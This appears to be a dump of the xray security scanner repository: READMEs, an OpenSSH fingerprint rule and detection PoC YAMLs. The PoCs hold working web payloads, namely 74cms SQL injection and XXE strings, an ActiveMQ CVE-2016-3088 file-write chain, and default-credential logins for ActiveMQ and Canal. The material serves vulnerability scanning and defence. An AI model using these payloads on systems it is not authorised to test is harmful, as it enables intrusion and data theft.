| 文件上传检测 | `upload` | 社区版 | 支持常见的后端语言 |
| 弱口令检测 | `brute-force` | 社区版 | 社区版支持检测 HTTP 基础认证和简易表单弱口令，内置常见用户名和密码字典 |
| jsonp 检测 | `jsonp` | 社区版 | 检测包含敏感信息可以被跨域读取的 jsonp 接口 |
| ssrf 检测 | `ssrf` | 社区版 | ssrf 检测模块，支持常见的绕过技术和反连平台检测 |
| 基线检查 | `baseline` | 社区版 | 检测低 SSL 版本、缺失的或错误添加的 http 头等 |
| 任意跳转检测 | `redirect` | 社区版 | 支持 HTML meta 跳转、30x 跳转等 |
| CRLF 注入 | `crlf-injection` | 社区版 | 检测 HTTP 头注入，支持 query、body 等位置的参数 |
| XStream漏洞检测 | `xstream` | 社区版 | 检测XStream系列漏洞 |
| Struts2 系列漏洞检测 | `struts` | 高级版 | 检测目标网站是否存在Struts2系列漏洞，包括s2-016、s2-032、s2-045、s2-059、s2-061等常见漏洞 |
| Thinkphp系列漏洞检测 | `thinkphp` | 高级版 | 检测ThinkPHP开发的网站的相关漏洞 |
| shiro反序列化漏洞检测 | `shiro` | 高级版 | 检测Shiro反序列化漏洞 |
| fastjson系列检测 | `fastjson` | 高级版 | 检测fastjson系列漏洞 |
## ⚡️ 进阶使用
下列高级用法请查看 https://docs.xray.cool/ 使用。
- 修改配置文件
- 抓取 https 流量
- 修改 http 发包配置
- 反连平台的使用
- ...
## 😘 贡献 POC
xray的进步离不开各位师傅的支持，秉持着互助共建的精神，为了让我们共同进步，xray也开通了“PoC收录”的渠道！在这里你将会得到：
### 提交流程
1. 贡献者以 PR 的方式向 github xray 社区仓库内提交， POC 提交位置: https://github.com/chaitin/xray/tree/master/pocs, 指纹识别脚本提交位置: https://github.com/chaitin/xray/tree/master/fingerprints
2. PR 中根据 Pull Request 的模板填写 POC 信息
3. 内部审核 PR，确定是否合并入仓库
4. 但需要注意，如果想要获得POC的奖励，需要将你的POC提交到CT stack，才能获取到奖励
### 丰厚的奖励
- 贡献PoC将获得**丰厚的金币奖励**，成就感满满；
- **丰富的礼品**兑换专区，50余种周边礼品任你挑选；
- 定期更有京东卡上线兑换，离**财富自由**又近了一步；
- 进入核心社群的机会，领取特殊任务，赚取**高额赏金**；
### 完善的教程
- 完善的**PoC编写教程和指导**，让你快速上手，少走弯路；
### 学习与交流
- **与贡献者、开发者面对面**学习交流的机会，各项能力综合提高；
- 免笔试的**直通面试机会**，好工作不是梦；
如果你已经成功贡献过PoC但是还没有进群，请添加客服微信：
<img src="./asset/customer_service.png" height="200px">
提供平台注册id进行验证，验证通过后即可进群！
参照: https://docs.xray.cool/#/guide/contribute
## 🔧周边生态
### POC质量确认靶场
[**Evil Pot**](https://github.com/chaitin/xray/tree/master/tests/evilpot)
[Releases](https://github.com/chaitin/xray/releases?q=EvilPot&expanded=true)
一个专门用于让扫描器产生误报的靶场
编写插件应该尽量避免能在这个靶场扫描出结果
### POC编写辅助工具
该工具可以辅助生成POC，且在线版支持**poc查重**，本地版支持直接发包验证
#### 在线版
- [**规则实验室**](https://poc.xray.cool)
- 在线版支持对**poc查重**
#### 本地版
- [**gamma-gui**](https://github.com/zeoxisca/gamma-gui)
### xray gui辅助工具
本工具仅是简单的命令行包装，并不是直接调用方法。在 xray 的规划中，未来会有一款真正的完善的 GUI 版 XrayPro 工具，敬请期待。
- [**super-xray**](https://github.com/4ra1n/super-xray)
## 📝 讨论区
各位开发者和 xray 粉丝们，欢迎来[讨论区投票](https://github.com/chaitin/xray/discussions/1804)，决定 xray 2.0 工具的开发优先级，让你的声音塑造 xray 的未来！ 🚀
提交误报漏报需求等等请务必先阅读 https://docs.xray.cool/#/guide/feedback
如有问题可以在 GitHub 提 issue, 也可在下方的讨论组里
1. GitHub:
- https://github.com/chaitin/xray/issues
- https://github.com/chaitin/xray/discussions
2. 微信公众号：微信扫描以下二维码，关注我们
<img src="./asset/wechat.jpg" height="200px">
3. 微信群: 请添加微信公众号并点击"联系我们" -> "加群"，然后扫描二维码加群
4. QQ 群: 717365081
## Star History
[](https://star-history.com/#chaitin/xray&Date)
================================================
FILE: README_EN.md
================================================
<h1 align="center">Welcome to xray 👋</h1>
<p align="center">
<img src="https://img.shields.io/github/release/chaitin/xray.svg" />
<img src="https://img.shields.io/github/release-date/chaitin/xray.svg?color=blue&label=update" />
<img src="https://img.shields.io/badge/go report-A+-brightgreen.svg" />
<a href="https://docs.xray.cool/">
<img alt="Documentation" src="https://img.shields.io/badge/documentation-yes-brightgreen.svg" target="_blank" />
</a>
</p>
<h3 align="center">A Powerful Security Assessment Tool </h3>
<p align="center">
<a href="https://docs.xray.cool">🏠 Documentation</a> •
<a href="https://github.com/chaitin/xray/releases">⬇️ Download xray</a> •
<a href="https://github.com/chaitin/xpoc">⬇️ Download xpoc</a> •
<a href="https://github.com/chaitin/xapp">⬇️ Download xapp</a> •
<a href="https://github.com/chaitin/xray-plugins">📖 Plugin Repository</a>
</p>
[**中文版**](./README.md)
> Note: xray is not open source, just download the built binary files directly. The repository mainly contains community-contributed POCs. Each xray release will automatically package them.
## ✨ xray 2.0
To address the issue of xray 1.0 becoming complex and bloated with added features, we have launched xray 2.0.
This new version aims to enhance the smoothness of functionality, lower the usage threshold, and help more security industry practitioners achieve a better experience more efficiently. xray 2.0 will integrate a series of new security tools to form a comprehensive security toolset.
**The second tool in the xray 2.0 series, xapp, is now online, welcome to try it!**
### XPOC
xpoc is the first tool in the xray 2.0 series, designed as a rapid emergency response tool for supply chain vulnerability scanning.
Project address: https://github.com/chaitin/xpoc
### XAPP
xapp is a tool focused on web fingerprint identification. You can use xapp to identify the technologies used by web targets and prepare for security testing.
Project address: https://github.com/chaitin/xapp
### Plugin Repository
We have created a dedicated repository for various plugins, aimed at facilitating the sharing and use of different plugins.
It mainly collects open-source scripts converted into xray format for everyone to use.
We will periodically push some new plugins here and hope everyone will actively optimize or submit plugins to enrich this repository together.
Project address: https://github.com/chaitin/xray-plugins
## 🚀 Quick Usage
**Before using, be sure to read and agree to the terms in the [License](https://github.com/chaitin/xray/blob/master/LICENSE.md) file. If not, please do not install or use this tool.**
1. Use the basic crawler to scan the links crawled by the crawler for vulnerabilities
```bash
xray webscan --basic-crawler http://example.com --html-output vuln.html
```
2. Use HTTP proxy for passive scanning
```bash
xray webscan --listen 127.0.0.1:7777 --html-output proxy.html
```
Set the browser's HTTP proxy to `http://127.0.0.1:7777`, then you can automatically analyze proxy traffic and scan it.
> To scan HTTPS traffic, please read the "Capture HTTPS Traffic" section below.
3. Scan a single URL without using a crawler
```bash
xray webscan --url http://example.com/?a=b --html-output single-url.html
```
4. Manually specify plugins for this run
By default, all built-in plugins will be enabled. You can specify the plugins to be enabled for this scan with the following commands.
```bash
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
```
5. Specify Plugin Output
You can specify to output the vulnerability information of this scan to a file:
```bash
xray webscan --url http://example.com/?a=b \
--text-output result.txt --json-output result.json --html-output report.html
```
[Sample Report](https://docs.xray.cool/assets/report_example.html)
For other usage, please read the documentation: https://docs.xray.cool
## 🪟 Detection Modules
New detection modules will be continuously added.
| Name | Key | Version | Description |
|------------------|------------------|----------|--------------------------------------------------------------------------------------|
| XSS Detection | `xss` | Community | Detects XSS vulnerabilities using semantic analysis |
| SQL Injection Detection | `sqldet` | Community | Supports error-based injection, boolean-based injection, and time-based blind injection |
| Command/Code Injection Detection | `cmd-injection` | Community | Supports shell command injection, PHP code execution, template injection, etc. |
| Directory Enumeration | `dirscan` | Community | Detects over 10 types of sensitive paths and files such as backup files, temporary files, debug pages, and configuration files |
| Path Traversal Detection | `path-traversal` | Community | Supports common platforms and encodings |
| XML External Entity (XXE) Detection | `xxe` | Community | Supports detection with echo and back-connect platform |
| POC Management | `phantasm` | Community | Comes with some common POCs by default; users can build and run POCs as needed. Documentation: [POC](https://docs.xray.cool/#/guide/poc) |
| File Upload Detection | `upload` | Community | Supports common backend languages |
| Weak Password Detection | `brute-force` | Community | Community edition supports HTTP basic authentication and simple form weak password detection, with built-in common username and password dictionary |
| JSONP Detection | `jsonp` | Community | Detects JSONP interfaces containing sensitive information that can be read across domains |
| SSRF Detection | `ssrf` | Community | SSRF detection module, supports common bypass techniques and back-connect platform detection |
| Baseline Check | `baseline` | Community | Detects low SSL versions, missing or incorrectly added HTTP headers |
| Arbitrary Redirect Detection | `redirect` | Community | Supports HTML meta redirects, 30x redirects, etc. |
| CRLF Injection | `crlf-injection` | Community | Detects HTTP header injection, supports parameters in query, body, etc. |
| XStream Vulnerability Detection | `xstream` | Community | Detects XStream series vulnerabilities |
| Struts2 Vulnerability Detection | `struts` | Advanced | Detects Struts2 series vulnerabilities, including common ones like s2-016, s2-032, s2-045, s2-059, s2-061, etc. |
| ThinkPHP Vulnerability Detection | `thinkphp` | Advanced | Detects related vulnerabilities in websites developed with ThinkPHP |
| Shiro Deserialization Vulnerability Detection | `shiro` | Advanced | Detects Shiro deserialization vulnerabilities |
| Fastjson Vulnerability Detection | `fastjson` | Advanced | Detects Fastjson series vulnerabilities |
## ⚡️ Advanced Usage
For the following advanced usage, please see https://docs.xray.cool/.
- Modify configuration file
- Capture HTTPS traffic
- Modify HTTP request configuration
- Use of the back-connect platform
- ...
## 😘 Contribute POCs
The progress of xray cannot be achieved without the support of many contributors. In the spirit of mutual assistance and co-construction, to help us all progress together, xray has also opened a channel for "POC inclusion"! Here you will get:
### Submission Process
1. Contributors submit to the GitHub xray community repository via PR. POC submission location: https://github.com/chaitin/xray/tree/master/pocs, fingerprint script submission location: https://github.com/chaitin/xray/tree/master/fingerprints
2. Fill in the POC information according to the Pull Request template in the PR.
3. Internal review of the PR to determine whether to merge into the repository.
4. Note: To receive POC rewards, you need to submit your POC to the CT stack to receive the rewards.
### Generous Rewards
- Contribute POCs to receive **generous gold rewards** with a sense of accomplishment;
- **Rich gift** redemption area, with over 50 kinds of peripheral gifts to choose from;
- Regularly launch JD card redemption, getting **closer to financial freedom**;
- Opportunity to enter the core community, receive special tasks, and earn **high bounties**;
### Comprehensive Tutorials
- Comprehensive **POC writing tutorials and guidance** to help you get started quickly and avoid pitfalls;
### Learning and Communication
- **Face-to-face learning and communication opportunities** with contributors and developers, improving comprehensive skills;
- **Direct interview opportunities** without written tests, making good jobs not just a dream;
If you have successfully contributed a POC but have not yet
joined the group, please add the customer service WeChat:
<img src="./asset/customer_service.png" height="200px">
Provide the platform registration ID for verification. Once verified, you can join the group!
Refer to: https://docs.xray.cool/#/guide/contribute
## 🔧 Surrounding Ecosystem
### POC Quality Confirmation Range
[**Evil Pot**](https://github.com/chaitin/xray/tree/master/tests/evilpot)
[Releases](https://github.com/chaitin/xray/releases?q=EvilPot&expanded=true)
A range specifically designed to allow scanners to generate false positives
Plugins should be written to try to avoid being able to scan results in this range
### POC Writing Assistant Tools
This tool can assist in generating POCs, and the online version supports **POC duplication checks**, while the local version supports direct packet verification.
#### Online Version
- [**Rule Laboratory**](https://poc.xray.cool)
- The online version supports **POC duplication checks**.
#### Local Version
- [**gamma-gui**](https://github.com/zeoxisca/gamma-gui)
### xray GUI Assistant Tools
This tool is just a simple command line wrapper, not a direct method call. In the xray plan, there will be a truly complete GUI version of XrayPro in the future, so stay tuned.
- [**super-xray**](https://github.com/4ra1n/super-xray)
## 📝 Discussion Area
Fellow developers and xray fans, feel free to come to [Discussion Board Vote](https://github.com/chaitin/xray/discussions/1804) to decide the development priorities for xray 2.0 tools and let your voice shape the future of xray! 🚀
Before submitting false positives, missed reports, or requests, please be sure to read https://docs.xray.cool/#/guide/feedback.
If you have any questions, you can submit an issue on GitHub or join the discussion groups below.
1. GitHub:
- https://github.com/chaitin/xray/issues
- https://github.com/chaitin/xray/discussions
2. WeChat Official Account: Scan the QR code below to follow us
<img src="./asset/wechat.jpg" height="200px">
3. WeChat Group: Add the WeChat official account, click "Contact Us" -> "Join Group", and then scan the QR code to join the group.
4. QQ Group: 717365081
## Star History
[](https://star-history.com/#chaitin/xray&Date)
================================================
FILE: docs/.nojekyll
================================================
================================================
FILE: docs/index.html
================================================
<html>
<head>
<meta charset="utf-8">
<title>将重定向到 xray 新文档站点</title>
</head>
<body>
<p>xray 的文档已经迁移至 <a href="https://docs.xray.cool">docs.xray.cool</a>，如果您的浏览器没有自动跳转，请点击上述链接。</p>
<script type="text/javascript">
window.location = "https://docs.xray.cool/" + location.hash
</script>
</body>
</html>
================================================
FILE: fingerprints/tcp-openbsd-openssh.yml
================================================
name: fingerprint-yaml-tcp-openbsd-openssh
manual: false
transport: tcp
set:
re1: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+) Debian-(?P<version1>\\S*maemo\\S*)\\r?\\n"'
re2: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+)[ -]{1,2}Debian[ -_](?P<version1>.*ubuntu.*)\\r\\n"'
re3: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+)[ -]{1,2}Ubuntu[ -_](?P<version1>[^\\r\\n]+)\\r?\\n"'
re4: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+)[ -]{1,2}Debian[ -_](?P<version1>[^\\r\\n]+)\\r?\\n"'
re5: '"^SSH-([\\d.]+)-OpenSSH_[\\w.]+-FC-(?P<version>[\\w.-]+)\\.fc(\\d+)\\r\\n"'
re6: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD-([\\d]+)\\r?\\n"'
re7: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD localisations (\\d+)\\r?\\n"'
re8: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD-openssh-portable-(?:base-|amd64-)?[\\w.,]+\\r?\\n"'
re9: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD-openssh-portable-overwrite-base"'
re10: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD-openssh-gssapi-"'
re11: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) FreeBSD\\n"'
re12: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) miniBSD-([\\d]+)\\r?\\n"'
re13: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) NetBSD_Secure_Shell-([\\w._+-]+)\\r?\\n"'
re14: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+)_Mikrotik_v(?P<version1>[\\d.]+)\\r?\\n"'
re15: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) in RemotelyAnywhere ([\\d.]+)\\r?\\n"'
re16: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+)\\+CAN-2004-0175\\r?\\n"'
re17: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) NCSA_GSSAPI_20040818 KRB5\\r?\\n"'
re18: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+)[-_]hpn(\\w+) *(?:\\\"\\\")?\\r?\\n"'
re19: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+\\+sftpfilecontrol-v[\\d.]+-hpn\\w+)\\r?\\n"'
re20: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+-hpn) NCSA_GSSAPI_\\d+ KRB5\\r?\\n"'
re21: '"^SSH-([\\d.]+)-OpenSSH_3\\.4\\+p1\\+gssapi\\+OpenSSH_3\\.7\\.1buf_fix\\+2006100301\\r?\\n"'
re22: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+\\.RL)\\r?\\n"'
re23: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+-CERN\\d+)\\r?\\n"'
re24: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+\\.cern-hpn)"'
re25: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+-hpn)\\r?\\n"'
re26: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+-pwexp\\d+)\\r?\\n"'
re27: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+)-chrootssh\\n"'
re28: '"^SSH-([\\d.]+)-Nortel\\r?\\n"'
re29: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w.]+)[-_]hpn(\\w+) DragonFly-"'
re30: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w.]+) DragonFly-"'
re31: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w_.-]+) FIPS\\n"'
re32: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w_.-]+) FIPS\\r\\n"'
re33: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w_.-]+) NCSA_GSSAPI_GPT_([-\\w_.]+) GSI\\n"'
re34: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) \\.\\n"'
re35: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) PKIX\\r\\n"'
re36: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+)-FIPS\\(capable\\)\\r\\n"'
re37: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+)-sshjail\\n"'
re38: '"^SSH-([\\d.]+)-OpenSSH_(?P<version0>[\\w._-]+) Raspbian-(?P<version1>[^\\r\\n]+)\\r?\\n"'
re39: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) OVH-rescue\\r\\n"'
re40: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) Trisquel_GNU/linux_([\\d.]+)(?:-\\d+)?\\r\\n"'
re41: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) \\+ILOM\\.2015-5600\\r\\n"'
re42: '"^SSH-([\\d.]+)-OpenSSH_(?P<version>[\\w._-]+) SolidFire Element \\r\\n"'
re43: '"(?i)^SSH-([\\d.]+)-OpenSSH[_-](?P<version>[\\w.]+)\\s*\\r?\\n"'
re44: '"^SSH-([\\d.]+)-OpenSSH\\r?\\n$"'
re45: '"^Access to service sshd from [-\\w_.]+@[-\\w_.]+ has been denied\\.\\r\\n"'
rules:
r1:
expression: re1.bmatches(response.raw)
output:
re1_result: re1.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re1_result["version0"] + " Debian " + re1_result["version1"] + ""'
r2:
expression: re2.bmatches(response.raw)
output:
re2_result: re2.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re2_result["version0"] + " Debian " + re2_result["version1"] + ""'
r3:
expression: re3.bmatches(response.raw)
output:
re3_result: re3.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re3_result["version0"] + " Ubuntu " + re3_result["version1"] + ""'
r4:
expression: re4.bmatches(response.raw)
output:
re4_result: re4.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re4_result["version0"] + " Debian " + re4_result["version1"] + ""'
r5:
expression: re5.bmatches(response.raw)
output:
re5_result: re5.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re5_result["version"] + " Fedora"'
r6:
expression: re6.bmatches(response.raw)
output:
re6_result: re6.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re6_result["version"]
r7:
expression: re7.bmatches(response.raw)
output:
re7_result: re7.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re7_result["version"]
r8:
expression: re8.bmatches(response.raw)
output:
re8_result: re8.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re8_result["version"]
r9:
expression: re9.bmatches(response.raw)
output:
re9_result: re9.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re9_result["version"]
r10:
expression: re10.bmatches(response.raw)
output:
re10_result: re10.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re10_result["version"]
r11:
expression: re11.bmatches(response.raw)
output:
re11_result: re11.bsubmatch(response.raw)
osname: '"FreeBSD"'
version: re11_result["version"]
r12:
expression: re12.bmatches(response.raw)
output:
re12_result: re12.bsubmatch(response.raw)
osname: '"MiniBSD"'
version: re12_result["version"]
r13:
expression: re13.bmatches(response.raw)
output:
re13_result: re13.bsubmatch(response.raw)
osname: '"NetBSD"'
version: re13_result["version"]
r14:
expression: re14.bmatches(response.raw)
output:
re14_result: re14.bsubmatch(response.raw)
device: '"router"'
version: '"" + re14_result["version0"] + " mikrotik " + re14_result["version1"] + ""'
r15:
expression: re15.bmatches(response.raw)
output:
re15_result: re15.bsubmatch(response.raw)
osname: '"Windows"'
version: re15_result["version"]
r16:
expression: re16.bmatches(response.raw)
output:
re16_result: re16.bsubmatch(response.raw)
version: '"" + re16_result["version"] + " CAN-2004-0175"'
r17:
expression: re17.bmatches(response.raw)
output:
re17_result: re17.bsubmatch(response.raw)
version: '"" + re17_result["version"] + " NCSA_GSSAPI_20040818 KRB5"'
r18:
expression: re18.bmatches(response.raw)
output:
re18_result: re18.bsubmatch(response.raw)
version: re18_result["version"]
r19:
expression: re19.bmatches(response.raw)
output:
re19_result: re19.bsubmatch(response.raw)
version: re19_result["version"]
r20:
expression: re20.bmatches(response.raw)
output:
re20_result: re20.bsubmatch(response.raw)
version: re20_result["version"]
r21:
expression: re21.bmatches(response.raw)
output:
version: '"3.4p1 with CMU Andrew patches"'
r22:
expression: re22.bmatches(response.raw)
output:
re22_result: re22.bsubmatch(response.raw)
device: '"switch"'
version: '"" + re22_result["version"] + " Allied Telesis"'
r23:
expression: re23.bmatches(response.raw)
output:
re23_result: re23.bsubmatch(response.raw)
version: re23_result["version"]
r24:
expression: re24.bmatches(response.raw)
output:
re24_result: re24.bsubmatch(response.raw)
version: re24_result["version"]
r25:
expression: re25.bmatches(response.raw)
output:
re25_result: re25.bsubmatch(response.raw)
version: re25_result["version"]
r26:
expression: re26.bmatches(response.raw)
output:
re26_result: re26.bsubmatch(response.raw)
osname: '"AIX"'
version: re26_result["version"]
r27:
expression: re27.bmatches(response.raw)
output:
re27_result: re27.bsubmatch(response.raw)
version: re27_result["version"]
r28:
expression: re28.bmatches(response.raw)
output:
device: '"switch"'
r29:
expression: re29.bmatches(response.raw)
output:
re29_result: re29.bsubmatch(response.raw)
osname: '"DragonFlyBSD"'
version: re29_result["version"]
r30:
expression: re30.bmatches(response.raw)
output:
re30_result: re30.bsubmatch(response.raw)
osname: '"DragonFlyBSD"'
version: re30_result["version"]
r31:
expression: re31.bmatches(response.raw)
output:
re31_result: re31.bsubmatch(response.raw)
device: '"firewall"'
version: re31_result["version"]
r32:
expression: re32.bmatches(response.raw)
output:
re32_result: re32.bsubmatch(response.raw)
device: '"switch"'
version: re32_result["version"]
r33:
expression: re33.bmatches(response.raw)
output:
re33_result: re33.bsubmatch(response.raw)
version: re33_result["version"]
r34:
expression: re34.bmatches(response.raw)
output:
re34_result: re34.bsubmatch(response.raw)
version: re34_result["version"]
r35:
expression: re35.bmatches(response.raw)
output:
re35_result: re35.bsubmatch(response.raw)
version: re35_result["version"]
r36:
expression: re36.bmatches(response.raw)
output:
re36_result: re36.bsubmatch(response.raw)
version: re36_result["version"]
r37:
expression: re37.bmatches(response.raw)
output:
re37_result: re37.bsubmatch(response.raw)
version: re37_result["version"]
r38:
expression: re38.bmatches(response.raw)
output:
re38_result: re38.bsubmatch(response.raw)
osname: '"Linux"'
version: '"" + re38_result["version0"] + " Raspbian " + re38_result["version1"] + ""'
r39:
expression: re39.bmatches(response.raw)
output:
re39_result: re39.bsubmatch(response.raw)
version: re39_result["version"]
r40:
expression: re40.bmatches(response.raw)
output:
re40_result: re40.bsubmatch(response.raw)
osname: '"Linux"'
version: re40_result["version"]
r41:
expression: re41.bmatches(response.raw)
output:
re41_result: re41.bsubmatch(response.raw)
version: re41_result["version"]
r42:
expression: re42.bmatches(response.raw)
output:
re42_result: re42.bsubmatch(response.raw)
version: re42_result["version"]
r43:
expression: re43.bmatches(response.raw)
output:
re43_result: re43.bsubmatch(response.raw)
version: re43_result["version"]
r44:
expression: re44.bmatches(response.raw)
output:
device: '"terminal server"'
r45:
expression: re45.bmatches(response.raw)
expression: r1() || r2() || r3() || r4() || r5() || r6() || r7() || r8() || r9() || r10() || r11() || r12() || r13() || r14() || r15() || r16() || r17() || r18() || r19() || r20() || r21() || r22() || r23() || r24() || r25() || r26() || r27() || r28() || r29() || r30() || r31() || r32() || r33() || r34() || r35() || r36() || r37() || r38() || r39() || r40() || r41() || r42() || r43() || r44() || r45()
detail:
fingerprint:
infos:
- type: system_bin
name: openssh
version: '{{version}}'
- type: operating_system
name: '{{osname}}'
================================================
FILE: pocs/74cms-sqli-1.yml
================================================
name: poc-yaml-74cms-sqli-1
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: POST
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
headers:
Content-Type: text/xml
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
follow_redirects: false
expression: response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
author: betta(https://github.com/betta-cyber)
links:
- https://www.uedbox.com/post/29340
================================================
FILE: pocs/74cms-sqli-2.yml
================================================
name: poc-yaml-74cms-sqli-2
manual: true
transport: http
set:
rand: randomInt(200000000, 210000000)
rules:
r0:
request:
cache: true
method: GET
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
expression: response.body.bcontains(bytes(md5(string(rand))))
expression: r0()
detail:
author: rexus
links:
- https://www.uedbox.com/post/30019/
================================================
FILE: pocs/74cms-sqli.yml
================================================
name: poc-yaml-74cms-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
expression: r0()
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html
================================================
FILE: pocs/activemq-cve-2016-3088.yml
================================================
name: poc-yaml-activemq-cve-2016-3088
manual: true
transport: http
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
r0:
request:
cache: true
method: PUT
path: /fileserver/{{filename}}.txt
body: |
{{fileContent}}
expression: response.status == 204
r1:
request:
cache: true
method: GET
path: /admin/test/index.jsp
follow_redirects: false
expression: response.status == 200
output:
search: '"activemq.home=(?P<home>.*?),".bsubmatch(response.body)'
home: search["home"]
r2:
request:
cache: true
method: MOVE
path: /fileserver/{{filename}}.txt
headers:
Destination: file://{{home}}/webapps/api/{{filename}}.jsp
follow_redirects: false
expression: response.status == 204
r3:
request:
cache: true
method: GET
path: /api/{{filename}}.jsp
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(fileContent))
expression: r0() && r1() && r2() && r3()
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
================================================
FILE: pocs/activemq-default-password.yml
================================================
name: poc-yaml-activemq-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /admin/
expression: response.status == 401 && response.body.bcontains(b"Unauthorized")
r1:
request:
cache: true
method: GET
path: /admin/
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
expression: r0() && r1()
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://blog.csdn.net/ge00111/article/details/72765210
================================================
FILE: pocs/airflow-unauth.yml
================================================
name: poc-yaml-airflow-unauth
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /admin/
expression: response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
expression: r0()
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- http://airflow.apache.org/
================================================
FILE: pocs/alibaba-canal-default-password.yml
================================================
name: poc-yaml-alibaba-canal-default-password
manual: true
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /api/v1/user/login
expression: response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
r1:
request:
cache: true
method: POST
path: /api/v1/user/login
headers:
Content-Type: application/json
body: '{"username":"admin","password":"123456"}'
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
expression: r0() && r1()
detail:
author: jweny(https://github.com/jweny)
links:
- https://www.cnblogs.com/xiexiandong/p/12888582.html
================================================
FILE: pocs/alibaba-canal-info-leak.yml
================================================
name: poc-yaml-alibaba-canal-info-leak
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /api/v1/canal/config/1/1
follow_redirects: false
expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
expression: r0()
detail:
author: Aquilao(https://github.com/Aquilao)
links:
- https://my.oschina.net/u/4581879/blog/4753320
info: alibaba Canal info leak
================================================
FILE: pocs/alibaba-nacos-v1-auth-bypass.yml
================================================
name: poc-yaml-alibaba-nacos-v1-auth-bypass
manual: true
transport: http
set:
